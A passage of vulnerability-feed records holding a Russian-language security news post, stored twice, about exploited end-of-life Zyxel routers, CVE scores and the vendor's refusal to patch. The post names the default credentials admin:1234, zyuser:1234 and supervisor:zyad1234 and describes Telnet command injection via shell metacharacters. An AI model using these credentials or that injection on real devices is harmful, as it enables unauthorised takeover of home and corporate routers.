\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\n\n\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b VulnCheck \u0432 \u0438\u044e\u043b\u0435 2024 \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e . \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u0410\u043d\u0430\u043b\u0438\u0437 FOFA \u0438 Censys \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\n\nCVE-2024-40891 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ifconfig, ping, tftp) \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\nCVE-2025-0890 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043b\u0430\u0431\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, admin:1234, zyuser:1234, supervisor:zyad1234), \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \u0423\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c supervisor \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 zyuser \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2024-40891 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nVulnCheck \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 VMG4325-B10A \u0441 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0430\u0432\u043d\u043e \u0441\u043d\u044f\u0442\u044b \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u043e\u043d\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u044f\u0445.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 Zyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u044f\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f VMG1312-B10A, VMG3312-B10A, VMG4380-B10A \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438 \u0438 \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0441\u0442\u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 VulnCheck, Zyxel \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE-2024-40890 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8)\u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u043f\u043e\u0441\u043b\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u043d\u0430 CVE-2024-40891. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 Zyxel \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0442 VulnCheck \u0435\u0449\u0435 \u0432 \u0438\u044e\u043b\u0435, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a \u0438 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-02-05T11:18:37.000000Z"}, {"uuid": "813129cc-35ec-41c2-a99e-156fdf35c2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/itsec_news/5320", "content": "\u200b\u26a1\ufe0f\u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u0440\u043e\u0443\u0442\u0435\u0440\u044b Zyxel \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0432 \u0431\u043e\u043c\u0431\u0443 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\ud83d\udcac Zyxel \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 CPE, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 . \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438.\n\n\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b VulnCheck \u0432 \u0438\u044e\u043b\u0435 2024 \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e . \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u0410\u043d\u0430\u043b\u0438\u0437 FOFA \u0438 Censys \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\n\nCVE-2024-40891 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Telnet \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libcms_cli.so. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ifconfig, ping, tftp) \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\nCVE-2025-0890 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043b\u0430\u0431\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, admin:1234, zyuser:1234, supervisor:zyad1234), \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \u0423\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c supervisor \u0438\u043c\u0435\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 zyuser \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2024-40891 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nVulnCheck \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 VMG4325-B10A \u0441 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0430\u0432\u043d\u043e \u0441\u043d\u044f\u0442\u044b \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438, \u043e\u043d\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0438 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u044f\u0445.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438 Zyxel \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u044f\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f VMG1312-B10A, VMG3312-B10A, VMG4380-B10A \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438 \u0438 \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043e\u0431\u0440\u0435\u0441\u0442\u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 VulnCheck, Zyxel \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE-2024-40890 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8)\u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u043f\u043e\u0441\u043b\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u043d\u0430 CVE-2024-40891. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 Zyxel \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0442 VulnCheck \u0435\u0449\u0435 \u0432 \u0438\u044e\u043b\u0435, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a \u0438 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-02-05T11:18:37.000000Z"}, {"uuid": "0adc7cb5-4844-47fb-a755-39aad9bd94b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/958", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber 